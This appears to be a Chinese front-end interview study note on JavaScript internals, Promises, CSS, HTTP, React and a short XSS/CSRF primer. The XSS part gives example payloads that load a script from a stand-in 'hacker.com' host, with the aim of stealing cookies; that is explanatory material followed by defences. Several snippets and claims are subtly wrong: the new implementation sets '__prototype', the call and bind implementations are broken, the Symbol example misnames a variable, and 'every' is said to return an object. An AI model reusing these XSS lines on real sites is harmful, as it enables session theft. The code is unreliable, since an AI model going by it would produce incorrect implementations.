总结

237 阅读23分钟

Javascript

1.基本类型

undefined null string boolean number bigint symbol 和 Object

  • Symbol就是生成一个全局唯一的值
var a1 = Symbol('a');
var a1 = Symbol('b');
a1 !== a2 //true

2.typeof

  • typeof null 为 object (见下面原理)
  • typeof 函数为 "function"
  • typeof 检测其他对象都为"object"

原理:在js底层存储变量的时候,会在机器码的低位1-3位存储其类型信息,例如 000:对象,100字符串,1整数。但是对于undefined和null来说,null的所有机器码均为0,直接typeof null则被当成对象表示,undefined用-2^30整数来表示。

3.instanceof

  • 只要属性在当前实例的原型链上,用instanceof检测出来的结果都是true
  • 不能检测基础类型

4.instanceof

function my_instance_of(leftValue,rightValue){
    leftValue = leftValue.__proto__;
    rightValue = rightValue.prototype;
    while(true){
        if(leftValue === null){
            return false
        }
        if(leftValue === rightValue){
            return true
        }
        leftValue = leftValue.__proto__;
    }
}
function Foo(){}
console.log(my_instance_of(Foo,Object));

5.更好的类型判断

Object.prototype.toString.call(1) //"[object Number]"
Object.prototype.toString.call('leon') //"[object String]"
Object.prototype.toString.call({a:'hi'}) // "[object Object]"
Object.prototype.toString.call(1) // "[object Number]"
Object.prototype.toString.call('hi') // "[object String]"
Object.prototype.toString.call({a:'hi'}) // "[object Object]"
Object.prototype.toString.call([1,'a']) // "[object Array]"
Object.prototype.toString.call(true) // "[object Boolean]"
Object.prototype.toString.call(() => {}) // "[object Function]"
Object.prototype.toString.call(null) // "[object Null]"
Object.prototype.toString.call(undefined) // "[object Undefined]"
Object.prototype.toString.call(Symbol(1)) // "[object Symbol]"

6.转换

let obj = {
    name:'你好啊',
    num: 12,
    toString:function(){
        return this.name;
    },
    valueOf:function(){
        return this.num;
    }
}
console.log(obj+"Leon");
console.log(1+obj);
console.log(String(obj));

当对象进行类型转换时:

  • 1.首先调用valueOf,如果执行结果是原始值,返回,如果不是下一步。
  • 2.其次调用toString,如果执行结果是原始值,如果不是,报错。

7.遍历

对象遍历

  • for in 自身和继承属性
  • Object.keys(obj)可枚举

数组遍历

  • forEach无返回值
  • map 有返回值
  • some 取其中一个,返回布尔值
  • every 遍历完,返回对象
  • find 找其中一个,返回对象
  • reduce 累加这种操作

segmentfault.com/a/119000001…

8.作用域

变量和函数能被有效访问的区或者集合。作用域决定了代码块之间的资源可访问性。

作用域又分为:

  • 全局作用域:window
  • 函数作用域: 函数内定义的变量外面无法访问 (箭头函数本身不会创建 自己的 thisarguments,它会继承 外层作用域的 this 和 arguments。)
  • 块级作用域:在大括号内使用let const,大括号外不能访问这些变量。

作用域与闭包:闭包就是函数可以“记住”定义它的作用域,即使外部函数已经执行完

9.作用域嵌套

var name = 'Peter'
function greet(){
	var greeting = 'Hello'
    {
    	let lang = 'English';
        console.log(`${greeting}:${lang}`)
    }
}

这里我们有三层作用域嵌套,首先第一层是一个块级作用域(let声明的),被嵌套在一个函数作用域(greet函数)中,最外层作用域是全局作用域。

10.实现new

  • 1.创建空对象(即{})
  • 2.链接该新创建的对象(即设置对象的proto)到该函数的原型对象prototype上
  • 3.将步骤1新创建的对象为this的上下文
  • 4.如果该函数没有返回对象类型Object(包含Functoin, Array, Date, RegExg, Error),则返回新创建的对象
function leonNew(ctor){
    //这句话的解释参见下文链接
    var args = Array.prototype.slice.call(arguments, 1);
    
    //1.创建空对象(即{})
    var obj = {};
    
    //2.链接该新创建的对象(即设置对象的__proto__)到该函数的原型对象prototype上
    obj.__prototype = ctor.prototype;
    
    //3.将步骤1新创建的对象为this的上下文
    var result = ctor.apply(obj,args);
    
    //4.如果该函数没有返回对象类型Object(包含Functoin, Array, Date, RegExg, Error),则返回新创建的对象
    var isObject = typeof result === 'object' && result != null;
    var isFunction = typeof result === 'function';
    return isObject || isFunction ? result : obj;
}

更详细的new实现: segmentfault.com/a/119000002…

11.实现继承

// 父类
function Person(first, last, age, gender, interests) {
  this.name = {
    first,
    last
  };
  this.age = age;
  this.gender = gender;
  this.interests = interests;
};

Person.prototype.greeting = function() {
  alert('Hi! I\'m ' + this.name.first + '.');
};

// 子类
function Teacher(first, last, age, gender, interests, subject) {
  // `Teacher` 实例就能继承 `Person` 的属性(`name`、`age`、`gender`、`interests`)
  Person.call(this, first, last, age, gender, interests);

  this.subject = subject;
}

// 让 `Teacher` 的原型指向一个 `Person` 的副本, 这样 `Teacher` 实例就可以调用 `Person.prototype` 上的方法(比如 `greeting`)
Teacher.prototype = Object.create(Person.prototype);
// 修正 `constructor`,因为上一步会把 `constructor` 指向 `Person`,这里恢复为 `Teacher`
Teacher.prototype.constructor = Teacher;
var teacher1 = new Teacher('Dave', 'Griffiths', 31, 'male', ['football', 'cookery'], 'mathematics');

实现 Extends

 // 自定义 extend 函数:实现子类继承父类(实例方法 + 静态方法)
function extend(Child, Parent) {
  // 1️⃣ 继承父类原型方法
  // Object.create 创建一个新对象,新对象的原型指向 Parent.prototype
  // 这样 Child 的实例就能访问 Parent.prototype 上的方法
  Child.prototype = Object.create(Parent.prototype);

  // 2️⃣ 修正 constructor 指向
  // 因为上一行会把 Child.prototype.constructor 指向 Parent
  // 这里把它改回 Child
  Child.prototype.constructor = Child;

  // 3️⃣ 继承父类的静态方法(可选)
  // Object.setPrototypeOf 是标准方法
  // 如果环境不支持,用 __proto__ 兼容
  Object.setPrototypeOf
    ? Object.setPrototypeOf(Child, Parent)
    : (Child.__proto__ = Parent);
}

测试代码------------------------------

// 父类
function Person(first, last, age) {
  this.first = first;
  this.last = last;
  this.age = age;
}

// 父类实例方法
Person.prototype.sayHi = function () {
  console.log(`Hi! I'm ${this.first} ${this.last}.`);
};

// 父类静态方法
Person.createRandom = function () {
  return new Person('Random', 'Person', Math.floor(Math.random() * 100));
};

// 子类
function Teacher(first, last, age, subject) {
  // 调用父类构造函数继承实例属性
  Person.call(this, first, last, age);
  this.subject = subject;
}

// 使用自定义 extend 实现继承
extend(Teacher, Person);

// 子类方法
Teacher.teach = function () {
  console.log('Teaching a class!');
};

// 子类原型方法
Teacher.prototype.introduce = function () {
  console.log(`I teach ${this.subject}.`);
};

// ===================== 测试输出 =====================

// 实例方法继承
const teacher1 = new Teacher('Dave', 'Griffiths', 31, 'Mathematics');
teacher1.sayHi();          // "Hi! I'm Dave Griffiths."
teacher1.introduce();      // "I teach Mathematics."

// 静态方法继承
Teacher.createRandom();     // 返回一个 Person 实例
Teacher.teach();            // "Teaching a class!"

// instanceof 测试
console.log(teacher1 instanceof Teacher); // true
console.log(teacher1 instanceof Person);  // true

12.this 四种

  • 默认绑定:函数在全局调用时,this 指向 全局对象(浏览器是 window,Node.js 是 global严格模式下,thisundefined
  • 隐式绑定: 函数作为 对象的方法调用时,this 指向调用它的对象
  • 显式绑定: 使用 callapplybind 显式指定 this
  • new 绑定

new绑定

使用 new 来调用函数,或者说发生构造函数调用时,会自动执行下面的操作。

创建(或者说构造)一个全新的对象。 这个新对象会被执行[[原型]]连接。 这个新对象会绑定到函数调用的 this 上。 如果函数没有返回其他对象,那么 new 表达式中的函数调用会自动返回这个新对象。

我们可以知道使用 new 来调用 foo(..) 时,我们会构造一个新对象并把它绑定到 foo(..) 调用中的 this 上。

箭头函数里的this

箭头函数不使用 this 的四种标准规则,而是根据外层(函数或者全局)作用域来决定 this 。

function foo() {      // 返回一个箭头函数     
    return () => {   //this继承自foo()       
        console.log( this.a );     
    }
} 
var obj1 = {
    a:2 
}; 
var obj2 = {
    a:3 
}; 
var bar = foo.call( obj1 ); 
bar.call( obj2 ); // 2, 不是3!

优先级

new绑定优先级 > 显示绑定优先级 > 隐式绑定优先级 > 默认绑定优先级

实现防抖 debounce

原理

  • 防抖的核心思想是在事件触发后延迟执行函数,如果在延迟时间内再次触发,则重新计时
  • 适合输入框搜索、窗口resize等频繁触发但只想最后执行一次的场景
function debounce(fn, delay) {
  let timer = null;
  return function (...args) {
    clearTimeout(timer);
    timer = setTimeout(() => {
      fn.apply(this, args);
    }, delay);
  };
}

实现节流

原理

  • 节流的核心思想是在固定时间间隔内只执行一次函数
  • 适合滚动事件、按钮点击、窗口滚动加载等场景,防止函数执行过于频繁。

实现方式一:时间戳版

function throttle(fn, delay) {
  let lastTime = 0;
  return function (...args) {
    const now = Date.now();
    if (now - lastTime >= delay) {
      lastTime = now;
      fn.apply(this, args);
    }
  };
}

实现方式二:定时器版

function throttle(fn, delay) {
  let timer = null;
  return function (...args) {
    if (!timer) {
      timer = setTimeout(() => {
        fn.apply(this, args);
        timer = null;
      }, delay);
    }
  };
}

示例使用

window.addEventListener('scroll', throttle(() => {
  console.log('滚动事件触发');
}, 200));

13.实现call

Function.prototype._call = function(context,...args){
    var context = context || window;
    context.fn = this//this就是这个函数  
    context.fn(...args)
    delete fn
}

14.实现apply

Function.prototype._apply = function(context,arr){
    var context = context || window;
    context.fn = this;
    res = arr ? context.fn(...arr) : context.fn()
    delete context.fn
}

15.实现apply

//方法二 可以绑定可以传参
Function.prototype.my_bind = function(context){
    var self = this,//保存原函数
    context = Array.prototype.slice.call(arguments),//保存需要绑定的this上下文
    //上一行等价于 context = [].shift.call(arguments);
    args = Array.prototype.slice.call(arguments);//剩余参数的处理
    return function(){
        self.apply(context,Array.prototype.concat(args,Array.prototype.slice.call(arguments)));
    }
}

16.防抖和节流

function showTop(){
    var scrollTop = document.body.scrollTop || document.documentElement.scrollTop
    console.log('滚动条的位置'+scrollTop);
}

// window.onscroll = showTop;
//以上代码发现一次执行很多次,很影响性能

//防抖
//防抖实现:当执行后有延迟,再执行重新记时间,可能永远不会执行
function debounce(fn,delay){
    var timer = null;
    return function(){
        if(timer){
            clearTimeout(timer);
            timer = setTimeout(fn,delay);
        }
        timer = setTimeout(fn,delay);
    }
}

// window.onscroll = debounce(showTop,1000)

//节流
function throttle(fn,delay){
    let valid = true;
    return function(){
        if(!valid){
            //休息时间 暂不接客
            return false
        }
        valid = false;
        setTimeout(()=>{
            fn();
            valid = true
        },delay)
    }
}

window.onscroll = throttle(showTop,2000)

17.实现promise


function promise(fn){
    var value=null,successStack = [],rejectStack = [];
    this.then = function(fufilled,rejected){
        successStack.push(fufilled);
        rejectStack.push(rejected)
    }

    function resolve(value){
        successStack.forEach((callback)=>{
            callback(value)
        })
    }
    function reject(value){
        rejectStack.forEach((callback)=>{
            callback(value)
        })
    }

    fn(resolve,reject)
}

//极简的实现
class Promise {
    callbacks = [];
    constructor(fn) {
        fn(this._resolve.bind(this));
    }
    then(onFulfilled) {
        this.callbacks.push(onFulfilled);
    }
    _resolve(value) {
        this.callbacks.forEach(fn => fn(value));
    }
}

//Promise应用
let p = new Promise(resolve => {
    setTimeout(() => {
        console.log('done');
        resolve('5秒');
    }, 5000);
}).then((tip) => {
    console.log(tip);
})

实现promise.all()

// 封装 Promise.all方法
Promise.all = function (values) {
    return new Promise((resolve, reject) => {
        let result = []; // 存放返回值
        let counter = 0; // 计数器,用于判断异步完成
        function processData(key, value) {
            result[key] = value;
            // 每成功一次计数器就会加1,直到所有都成功的时候会与values长度一致,则认定为都成功了,所以能避免异步问题
            if (++counter === values.length) {
                resolve(result);
            }
        }
        // 遍历 数组中的每一项,判断传入的是否是promise
        for (let i = 0; i < values.length; i++) {
            let current = values[i];
            // 如果是promise则调用获取data值,然后再处理data
            if (isPromise(current)) {
                current.then(data => {
                    processData(i, data);
                }, reject);
            } else {
                // 如果不是promise,传入的是普通值,则直接返回
                processData(i, current);
            }
        }
    });
}

实现Promise.finally

Promise.prototype.finally = function (callback) {
    return this.then((value) => {
        return Promise.resolve(callback()).then(() => {
            return value;
        });
    }, (err) => {
        return Promise.resolve(callback()).then(() => {
            throw err;
        });
    });
}

实现Promise.race()

Promise.ra_ce = function(promises) {
    promises = Array.from(promises);
    return new Promise((resolve, reject) => {
        if(promises.length===0) {
            return;
        } else {
            for(let i=0; i<promises.length; i++) {
                Promise.resolve(promises[i]).then(data => {
                    resolve(data);
                    return;
                }, err => {
                    reject(err);
                    return;
                })
            }
        }
    })
}

Promise 捕获错误

1.可以这样理解:

Promise在执行过程中,本身自带了try..catch的错误处理,当出错时,会将错误抛给reject函数,所以直接throw new Error,会被Promise所捕获。

使用setTimeout()实际上可以算是异步过程,在异步过程中抛出的错误无法被try..catch所捕获,最终错误被process.on('unhandledRejection')所捕获。

需要注意的是,当resolve调用之后,再throw new Error也不会导致onRejected函数被调用。

2.Promise中直接抛出的异常使用promise.catch捕获setTimeout则需要重新包装成一个Promise吧。。。

async和await

async/await 原理及简单实现 - 简书 (jianshu.com)

// 定义了一个promise,用来模拟异步请求,作用是传入参数++
function getNum(num){
    return new Promise((resolve, reject) => {
        setTimeout(() => {
            resolve(num+1)
        }, 1000)
    })
}

//自动执行器,如果一个Generator函数没有执行完,则递归调用
function asyncFun(func){
  var gen = func();

  function next(data){
    var result = gen.next(data);
    if (result.done) return result.value;
    result.value.then(function(data){
      next(data);
    });
  }

  next();
}

// 所需要执行的Generator函数,内部的数据在执行完成一步的promise之后,再调用下一步
var func = function* (){
  var f1 = yield getNum(1);
  var f2 = yield getNum(f1);
  console.log(f2) ;
};
asyncFun(func);

17.1 XSS和CSRF

csrf

CSRF,全称Cross-site request forgery(跨站请求伪造),其原理是利用用户的身份,执行非用户本身意愿的操作(隐式身份验证机制)。

image.png

防御

  • 验证码

CSRF的原理是在用户毫不知情的情况下发起了网络请求,而验证码强制用户要与应用进行交互,才能提交请求。

  • 检验请求头部Refer字段

  • 通过Refer可以保证用户的请求来自我们相信的页面地址。但是,Refer字段是由用户浏览器提供的,不同的浏览器实现各有差异,并且有些浏览器处于保护用户隐私,并不会发送Rfer字段。 因此使用Refer字段来防御CSRF有一定的限制,但从该字段可以用来监控CSRF攻击的发生。

  • CSRF Token

CSRF之所以能够成功,是因为攻击者知道攻击所需要的所有参数,因此能够构造完整请求,因此服务器会把攻击者的请求误认为是用户发起的请求。
那么如果每次请求都让用户带上一个攻击者无法获取到的随机数,那么攻击者就无法构造完全的请求,服务器也能将攻击者的请求和用户的请求给区分开,这就是CSRF Token

CSRF Token的过程:

  1. 服务器生成随机数Token(该随机数生成方法要足够安全),并将该随机Token保存在用户Session(或Cookie中);
  2. 同时,服务器在生成表单提交页面的同时,需要将改Token嵌入到表单DOM(通常作为一个隐藏的input标签值,如<input type="hidden" name="_csrf_token" value="xxxx">)中;
  3. 用户在提交表单时,该Token会随着表单数据一起提交到服务器,服务器检测提交的Token是否与用户Session(或Cookie)中的是否一致,如果不一致或者为空,则表示非法请求;否则认为是一个合法请求。

由于攻击者得到该随机Token,因此无法构造完整请求,所以可以用来防止CSRF攻击。但是如果网站存在XSS攻击,那么该防范方法会失效,因为攻击者可以获取到用户的Cookie,从而构造完成的请求,这个过程称为XSRF。 使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以Form或AJAX形式提交,避免Token泄露。

CSRF是代替用户完成指定的动作,不直接窃取用户数据,而是代替用户发起请求,但需要知道其他用户页面的代码和数据包。

链接:www.jianshu.com/p/4a0e15187…

xss

XSS, 全称是Cross site script,即跨站脚本,为了避免与CSS,因此简称XSS

利用网站对用户输入没有进行限制或过滤,从而在页面中嵌入某些代码,当别的用法访问到该网页时,会执行对应的代码,从而使得攻击者可以获取

存储型和反射型

  • 反射型 image.png

http://example.org?search=hello,world
对于该请求,服务器会将hello,world回显到页面中返回给客户端,客户端会显示hello,world

http://example.org?search=<script>alter('I get you!')</script>
对于该请求,如果服务器对输入没有进行任何处理,那么对于,那么js代码<script>alter('I get you!')</script>会嵌入到页面中,客户端再渲染页面的时候回执行该js代码,并弹出alter框。

http://example.org?search=<script>src='http://hacker.com/xss.js'</script>

  • 存储型

image.png

假设有一个论坛允许用户留言并且对用户的输入不进行处理,那么攻击者在该网站的某个帖子下面留以下信息。

**

哈哈哈,有趣有趣
<script>src='http://hacker.com/xss.js'</script>

网站将该留言存储到数据库,那么之后每个在访问包含上述留言的用户的Cookie都会被发往攻击者。

xss防御

主要解决方案:不信任用户输入的所有数据

  1. 设置Cookie的属性为Http only,这样js就无法获取Cookie值;
  2. 严格检查表单提交的类型,并且后端服务一定要做,不能信任前段的数据;
  3. 对用户提交的数据就行Html encode处理,将其转化为HTML实体字符的普通文本;
  4. 过滤或移除特殊的HTML标签,如<script><iframe>等;
  5. 过滤js事件的标签,如onclick=onfoucs=等、

链接:www.jianshu.com/p/4a0e15187…

18.深拷贝和浅拷贝

  • 浅拷贝是创建一个新对象,这个对象有着原始对象属性值的一份精确拷贝。如果属性是基本类型,拷贝的就是基本类型的值,如果属性是引用类型,拷贝的就是内存地址 ,所以如果其中一个对象改变了这个地址,就会影响到另一个对象。

  • 深拷贝是将一个对象从内存中完整的拷贝一份出来,从堆内存中开辟一个新的区域存放新对象,且修改新对象不会影响原对象。

//浅拷贝 Object.assign()

let obj1 = { person: {name: "kobe", age: 41},sports:'basketball' };
let obj2 = Object.assign({}, obj1);
obj2.person.name = "wade";
obj2.sports = 'football'
console.log(obj1); // { person: { name: 'wade', age: 41 }, sports: 'basketball' }

// 深拷贝
let obj1 = {
    name : '浪里行舟',
    arr : [1,[2,3],4],
};
let obj4=deepClone(obj1)
obj4.name = "阿浪";
obj4.arr[1] = [5,6,7] ; // 新对象跟原对象不共享内存
// 这是个深拷贝的方法
function deepClone(obj) {
    if (obj === null) return obj; 
    if (obj instanceof Date) return new Date(obj);
    if (obj instanceof RegExp) return new RegExp(obj);
    if (typeof obj !== "object") return obj;
    let cloneObj = new obj.constructor();
    for (let key in obj) {
      if (obj.hasOwnProperty(key)) {
        // 实现一个递归拷贝
        cloneObj[key] = deepClone(obj[key]);
      }
    }
    return cloneObj;
}
console.log('obj1',obj1) // obj1 { name: '浪里行舟', arr: [ 1, [ 2, 3 ], 4 ] }
console.log('obj4',obj4) // obj4 { name: '阿浪', arr: [ 1, [ 5, 6, 7 ], 4 ] }

数组去重

function quchong(arr){
    let res = [];
    for(let item of arr){
        if(res.indexOf(item) == -1){
            res.push(item)
        }
    }
    return res
}

function qucong3(arr){
    var x = new Set(arr);
    return x
}

CSS

1.定位

Position属性有以下四个取值:

  • static:静态定位,是position属性的默认值,表示无论怎么设置top、bottom、right、left属性元素的位置(与外部位置)都不会发生改变。

  • relative:相对定位,表示用top、bottom、right、left属性可以设置元素相对与其相对于初始位置的相对位置。

  • absolute:绝对定位,表示用top、bottom、right、left属性可以设置元素相对于其父元素(除了设置了static的父元素以外)左上角的位置,如果父元素设置了static,子元素会继续追溯到祖辈元素一直到body。

  • fixed:绝对定位,相对于浏览器窗口进行定位,同样是使用top、bottom、right、left。

2.垂直居中

.box{
            position: absolute;
            background-color: red;
            top: 50%;
            left:50%;
            /* 往x轴和y轴移动自身长宽的50% */
            transform: translate(-50%, -50%);
        }
        .boxsecond{
            background-color: blue;
            display: flex;
            justify-content: center;
            align-items: center;
            
        }

juejin.im/post/684490…

3.BFC

具有 BFC 特性的元素可以看作是隔离了的独立容器,容器里面的元素不会在布局上影响到外面的元素,并且 BFC 具有普通容器所没有的一些特性。

触发 BFC

只要元素满足下面任一条件即可触发 BFC 特性:

  • body 根元素
  • 浮动元素:float 除 none 以外的值
  • 绝对定位元素:position (absolute、fixed)
  • display 为 inline-block、table-cells、flex
  • overflow 除了 visible 以外的值 (hidden、auto、scroll)

计算机网络

首屏加载优化

cdn分发: 通过在多台服务器部署相同的副本,当用户访问时,服务器根据用户跟哪台服务器地理距离小或者哪台服务器此时的压力小,来决定哪台服务器去响应这个请求。

后端在业务层的缓存:数据库查询缓存是可以设置缓存的,这个对于处于高频率的请求很有用。值得注意的是,接口也是可以设置缓存的,比如获取一定时间内不会变的资源,设置缓存会很有用。

静态文件缓存方案:这个最常看到。现在流行的方式是文件hash+强缓存的一个方案。比如hash+ cache control: max-age=1年。

前端的资源动态加载: a. 路由动态加载,最常用的做法,以页面为单位,进行动态加载。 b. 组件动态加载(offScreen Component),对于不在当前视窗的组件,先不加载。 c. 图片懒加载(offScreen Image),同上。值得庆幸的是,越来越多的浏览器支持原生的懒 加载,通过给img标签加上loading="lazy"来开启懒加载模式。

利用好async和defer这两个属性:如果是独立功能的js文件,可以加入async属性。如果是优先级低且没有依赖的js,我们可以加入defer属性。

渲染的优先级:浏览器有一套资源的加载优先级策略。也可以通过js来自己控制请求的顺序和渲染的顺序。一般我们不需要这么细粒度的控制,而且控制的代码也很不好写。

前端做一些接口缓存:前端也可以做接口缓存,缓存的位置有两个,一个是内存,即保存给变量,另一个是localStorage。比如用户的签到日历(展示用户是否签到),我们可以缓存这样的接口到localStorage,有效期是当天。或者有个列表页,我们总是缓存上次的列表内容到本地,下次加载时,我们先从本地读取缓存,并同时发起请求到服务器获取最新列表。

页面使用骨架屏:意思是在首屏加载完成之前,通过渲染一些简单元素进行占位。骨架屏虽然不能提高首屏加载速度,但可以减少用户在首屏等待的急躁情绪。这点很有效,在很多成熟的网站都有大量应用。

使用ssr渲染:服务器性能一般都很好,那么可以先在服务器先把vdom计算完成后,再输出给前端,这样可以节约的时间为:计算量/(服务器计算速度 - 客户端计算速度)。第二个是服务器可以把首屏的ajax请求在服务端阶段就完成,这样可以省去和客户端通过tcp传输的时间。

引入http2.0:http2.0对比http1.1,最主要的提升是传输性能,特别是在接口小而多的时候。

选择先进的图片格式:使用 JPEG 2000, JPEG XR, and WebP 的图片格式来代替现有的jpeg和png,当页面图片较多时,这点作用非常明显。把部分大容量的图片从BaseLine JPEG切换成Progressive JPEG(理解这两者的差别)也能缩小体积。

利用好http压缩:使用http压缩的效果非常明显。

zhuanlan.zhihu.com/p/56121620

304问题

segmentfault.com/a/119000000…

HTTP和HTTPS / HTTP1.1 / HTTP 2

从技术角度而言,http1.1和2.0 最大的区别是二进制框架层。与 http1.1把所有请求和响应作为纯文本不同,http2 使用二进制框架层把所有消息封装成二进制,且仍然保持http语法,消息的转换让http2能够尝试http1.1所不能的传输方式。

HTTP1.1和2 主要差别: http1、http1.1和http2的区别 - 简书 (jianshu.com)

HTT1.1 和2 讲的深一点: 详细分析http2 和http1.1 区别 - 简书 (jianshu.com)

HTTP与HTTPS: zhuanlan.zhihu.com/p/72616216

框架

Vue实现双向绑定

//订阅发布
class Event{
    constructor(){
        this.listenerList = [];
    }
    //订阅的列表
    listen(listener){
        this.listenerList.push(listener)
    }
    //执行
    trigger(){
        for(let i=0;i<this.listenerList.length;i++){
            this.listenerList[i].call(this);
        }
    }
}

var myEvent = new Event();
myEvent.listen(()=>{
    console.log('我执行了');
})
myEvent.listen(()=>{
    console.log('我也订阅了');
    
})
myEvent.trigger()
//双向绑定
class Event{
    constructor(){
        this.list = [];
    }
    //订阅的列表
    listen(subs){
        this.list.push(subs)
    }
    //执行
    notify(){
        for(let i=0;i<this.list.length;i++){
            this.list[i].update();
        }
    }
}

useState原理

var _state; // 把 state 存储在外面

function useState(initialValue) {
  _state = _state || initialValue; // 如果没有 _state,说明是第一次执行,把 initialValue 复制给它
  function setState(newState) {
    _state = newState;
    render();
  }
  return [_state, setState];
}

useEffect原理

let _deps; // _deps 记录 useEffect 上一次的 依赖

function useEffect(callback, depArray) {
  const hasNoDeps = !depArray; // 如果 dependencies 不存在
  const hasChangedDeps = _deps
    ? !depArray.every((el, i) => el === _deps[i]) // 两次的 dependencies 是否完全相等
    : true;
  /* 如果 dependencies 不存在,或者 dependencies 有变化*/
  if (hasNoDeps || hasChangedDeps) {
    callback();
    _deps = depArray;
  }
}

hash路由和history路由

segmentfault.com/a/119000002…

redux中间件原理

function createThunkMiddleware(extraArgument) {
    return ({ dispatch, getState }) => (next) => (action) => {
      if (typeof action === 'function') {
        return action(dispatch, getState, extraArgument);
      }
      return next(action);
    };
  }
  
  const thunk = createThunkMiddleware();
  thunk.withExtraArgument = createThunkMiddleware;
  
  export default thunk;

React基础

zhuanlan.zhihu.com/p/82840768

React Fiber 原理

zhuanlan.zhihu.com/p/57346388

React 事件机制

React事件机制 - 知乎 (zhihu.com)

React不会将事件处理函数直接绑定到真实的节点上,而是把所有的事件绑定到结构的最外层,使用一个统一的事件监听器。
这个监听器维持了一个映射,保存所有组件内部的事件监听和处理函数。当事件发生时,首先被这个统一的事件监听器处理,
然后在映射里找到真正的事件处理函数并调用。

合成事件分为以下三个主要过程:

一 事件注册

所有事件都会注册到document上,拥有统一的回调函数dispatchEvent来执行事件分发

二 事件合成

从原生的nativeEvent对象生成合成事件对象,同一种事件类型只能生成一个合成事件Event,如onclick这个类型的事件,dom上所有带有通过jsx绑定的onClick的回调函数都会按顺序(冒泡或者捕获)会放到Event._dispatchListeners 这个数组里,后面依次执行它

三 事件派发

每次触发事件都会执行根节点上 addEventListener 注册的回调,也就是 ReactEventListener.dispatchEvent 方法,事件分发入口函数。该函数的主要业务逻辑如下:\

  1. 找到事件触发的 DOM 和 React Component\
  2. 从该 React Component,调用 findParent 方法,遍历得到所有父组件,存在数组中。\
  3. 从该组件直到最后一个父组件,根据之前事件存储,用 React 事件名 + 组件 key,找到对应绑定回调方法,执行,详细过程为:\
  4. 根据 DOM 事件构造 React 合成事件。\
  5. 将合成事件放入队列。\
  6. 批处理队列中的事件(包含之前未处理完的,先入先处理)

React合成事件的冒泡并不是真的冒泡,而是节点的遍历。

\

----------------------------来对比下与原生事件区别----------------------------------

React事件处理的特性

React的事件系统和浏览器事件系统相比,主要增加了两个特性:事件代理和事件自动绑定

1、事件代理

  1. 区别于浏览器事件处理方式,React并未将事件处理函数与对应的DOM节点直接关联,而是在顶层使用了一个全局事件监听器监听所有的事件;\
  2. React会在内部维护一个映射表记录事件与组件事件处理函数的对应关系;\
  3. 当某个事件触发时,React根据这个内部映射表将事件分派给指定的事件处理函数;\
  4. 当映射表中没有事件处理函数时,React不做任何操作;\
  5. 当一个组件安装或者卸载时,相应的事件处理函数会自动被添加到事件监听器的内部映射表中或从表中删除。

2、事件自动绑定

  1. 在JavaScript中创建回调函数时,一般要将方法绑定到特定的实例,以保证this的正确性;\
  2. 在React中,每个事件处理回调函数都会自动绑定到组件实例(使用ES6语法创建的例外);

注意:事件的回调函数被绑定在React组件上,而不是原始的元素上,即事件回调函数中的
this所指的是组件实例而不是DOM元素;

3、合成事件

  1. 与浏览器事件处理稍微有不同的是,React中的事件处理程序所接收的事件参数是被称为“合成事件(SyntheticEvent)”的实例。
    合成事件是对浏览器原生事件跨浏览器的封装,并与浏览器原生事件有着同样的接口,如stopPropagation(),preventDefault()等,并且
    这些接口是跨浏览器兼容的。\
  2. 如果需要使用浏览器原生事件,可以通过合成事件的nativeEvent属性获取

\

-------------------说了这么多,来总结下react合成事件优点------------------------

React在事件处理的优点

  1. 几乎所有的事件代理(delegate)到 document ,达到性能优化的目的\
  2. 对于每种类型的事件,拥有统一的分发函数 dispatchEvent\
  3. 事件对象(event)是合成对象(SyntheticEvent),不是原生的,其具有跨浏览器兼容的特性\
  4. react内部事件系统实现可以分为两个阶段: 事件注册、事件分发,几乎所有的事件均委托到document上,而document上事件的回调函数只有一个:ReactEventListener.dispatchEvent,然后进行相关的分发\
  5. 对于冒泡事件,是在 document 对象的冒泡阶段触发。对于非冒泡事件,例如focus,blur,是在 document 对象的捕获阶段触发,最后在 dispatchEvent 中决定真正回调函数的执行

服务端渲染原理

zhuanlan.zhihu.com/p/76967335

加载优化

zhuanlan.zhihu.com/p/36030862